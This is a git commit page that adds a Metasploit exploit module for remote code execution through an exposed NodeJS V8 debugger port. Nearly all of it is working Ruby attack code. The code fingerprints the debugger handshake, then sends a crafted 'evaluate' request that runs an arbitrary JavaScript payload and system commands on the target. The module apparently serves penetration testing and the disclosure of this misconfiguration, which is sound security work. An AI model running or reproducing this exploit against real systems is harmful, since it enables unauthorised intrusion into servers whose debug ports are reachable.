initial commit of nodejs debugger eval exploit
parent
be66ed8af3
commit
d71f7876b8
|
@ -0,0 +1,89 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"
|
||||
MESSAGE_TEMPLATE = '{"seq":1,"type":"request","command":"evaluate","arguments":{"expression":"%{payload}","global":true,"maxStringLength":-1}}'
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "NodeJS Debugger Command Injection",
|
||||
'Description' => %q{
|
||||
This module uses the "evaluate" request type of the NodeJS V8
|
||||
debugger protocol (version 1) to evaluate arbitrary JS and
|
||||
call out to other system commands. The port (default 5858) is
|
||||
not exposed non-locally in default configurations, but may be
|
||||
exposed either intentionally or via misconfiguration.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],
|
||||
[ 'URL', 'https://github.com/nodejs/node/pull/8106' ]
|
||||
],
|
||||
# 'Platform' => ['node'],
|
||||
# 'Arch' => [ ARCH_NODEJS ],
|
||||
'Targets' =>
|
||||
[
|
||||
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Aug 15 2016",
|
||||
'DefaultTarget' => 0)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5858)
|
||||
])
|
||||
end
|
||||
|
||||
def make_eval_message
|
||||
escaped_payload = payload.encoded.gsub(/"/, '\\"')
|
||||
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
|
||||
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
|
||||
return msg_header + msg_body
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
|
||||
vprint_status("Got debugger handshake:\n#{res}")
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
# must consume incoming handshake before sending payload
|
||||
buf = sock.get_once
|
||||
msg = make_eval_message
|
||||
print_status("Sending #{msg.length} byte payload...")
|
||||
vprint_status("#{msg}")
|
||||
sock.put(msg)
|
||||
buf = sock.get_once
|
||||
|
||||
if buf.include? '"command":"evaluate","success":true'
|
||||
print_status("Got success response")
|
||||
elsif buf.include? '"command":"evaluate","success":false'
|
||||
print_error("Got failure response: #{buf}")
|
||||
else
|
||||
print_error("Got unexpected response: #{buf}")
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue